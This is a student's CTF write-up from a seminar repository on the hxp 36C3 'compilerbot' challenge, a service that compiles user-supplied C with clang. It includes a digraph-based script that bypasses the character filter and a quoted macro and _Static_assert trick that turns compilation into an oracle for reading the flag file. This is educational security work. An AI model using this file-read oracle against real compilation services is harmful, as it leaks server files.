]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/chgue/hxp36c3.md
chgue add more writeups
[pub/jan/ctf-seminar.git] / writeups / chgue / hxp36c3.md
1 # Retrospective
2 Sadly, I didn't have that much time to play the CTF. Therefore, after trying some challenges I decided to stick to one challenge even if I was making no useful progress at all since jumping between challenges seemed even less useful. The challenge I tried was very interesting but sadly I was stuck at one step and did not find anything useful.
3
4 **Time spent:** 7 hours
5
6 ## compilerbot (misc) (unsolved)
7 ### Overview
8 The following python service was accessible via a tcp
9
10 ```python
11 #!/usr/bin/env python3
12
13 import base64
14 import subprocess
15
16 code = base64.b64decode(input('> ')).decode()
17 code = 'int main(void) {' + code.translate(str.maketrans('', '', '{#}')) + '}'
18
19 result = subprocess.run(['/usr/bin/clang', '-x', 'c', '-std=c11', '-Wall',
20                          '-Wextra', '-Werror', '-Wmain', '-Wfatal-errors',
21                          '-o', '/dev/null', '-'], input=code.encode(),
22                         stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
23                         timeout=15.0)
24
25 print(result.stdout)
26 if result.returncode == 0 and result.stdout.strip() == b'':
27     print('OK')
28 else:
29     print('Not OK')
30 ```
31
32 Basically, the program takes an base64 input, decodes it, and inserts it into the `main` function of a barebones C template. Additionally, it uses the functions `translate` and `maketrans`. `translate` applies a translation table to a string. `maketrans` takes 3 inputs and creates a translation table. E.g. `maketrans('abc', '123', 'x')` turns the string `abcXcba` to `123321`. That is it maps the characters from the first input to the second one character by character. All characters in the third input are removed. In the case of the given service that means that `{`, `}` and `#` are removed from the input.
33
34 If the compilation is successful, the service outputs `OK`. Otherwise, it outputs `Not OK`. The compiled code is never run and immediately discarded into `/dev/null`.
35
36 ### Attempted solutions
37 Looking at the code, the inputs are passed to `clang` correctly and no additional flags or anything else could be passed. Therefore, the exploit is presumably to bypass the input escaping and turning compilation into an oracle for a local file (i.e. the flag file).
38
39 The translation can easily be circumvented using digraphs. I created a script that reads a file, escapes the blacklisted characters using digraphs and encodes the results in base64. Additionally, a newline is prepended and `return 0;` appended since otherwise the compiler will complain.
40 ```python
41 import sys
42 import base64
43 with open(sys.argv[1], "r") as f:
44     data = f.read().replace("{", "<%").replace("}", "%>").replace("#", "%:")
45     data = "\n" + data + "\nreturn 0;"
46     print(base64.b64encode(data.encode()).decode())
47 ```
48
49 My first idea was to `#include "flag"` and storing it in a char array. However, `#include` treats the file contents as C code and not as a string! Therefore, this is not easily possible. Stackoverflow sadly offers no solution either https://stackoverflow.com/questions/1246301/c-c-can-you-include-a-file-into-a-string-literal. To be able to include the file directly, it would have to be of the form `MACRONAME(the_flag_goes_here)`. Then one could define the macro `#define MACRONAME(x) #x`. This macro turns the input into a string literal since `#x` is some sort of macro builtin. However, the flag file has the format `hxp{the_flag_goes_here}` so this approach does not seem viable.
50
51 It is however possible to `#define hxp <whatever>`. So I tried 
52 ```C
53 #define hxp enum t
54 #include "./flag"
55 ;
56 ```
57 This essentially creates an enum with the flag as the only element. This worked on my local machine with a fake flag such as the one above. However, on the real service it returned an error so the flag included some illegal characters.Furthermore, I don't know how this could be exploited further.
58
59 Meanwhile, I looked at [`clang` extensions](https://clang.llvm.org/docs/LanguageExtensions.html) since some might be useful and differ from the ubiquitous `gcc`. I found nothing useful that could help with including the flag. However, I found [`_Static_assert()`](https://clang.llvm.org/docs/LanguageExtensions.html#c11-static-assert) which would probably be a handy oracle function if the flag could somehow be included. Sadly, I never managed to include the flag.
60
61 I spent the rest of the time reading C documentation and tried to get something working locally. However, I could not find a way to include the flag.
62
63 ### Solution (as per other writeups)
64 The [intended solution](https://ctftime.org/writeup/17952) provided by hxp used the following peculiarity of `clang`: 
65 ```C
66 #define _str(x) #x
67 #define str(x) _str(x)
68 #define hxp str(
69 #include "flag"
70 )
71 ```
72 This starts the macro inside the included file but closes the bracket in our file. Somehow, `clang` accepts this and parses the contents (i.e. the flag) as a string (`gcc` would not do that).
73
74 Since they can include the flag they use this pattern to find the flag by using a binary search
75 ```C
76 static const char thing[str(...)[0]];
77 _Static_assert(sizeof(thing) == '{', "...");
78 ```
79
80 Other solutions used some weird inline assembly and `.incbin` interactions to yield the flag. However, the above is the intended solution according to hxp.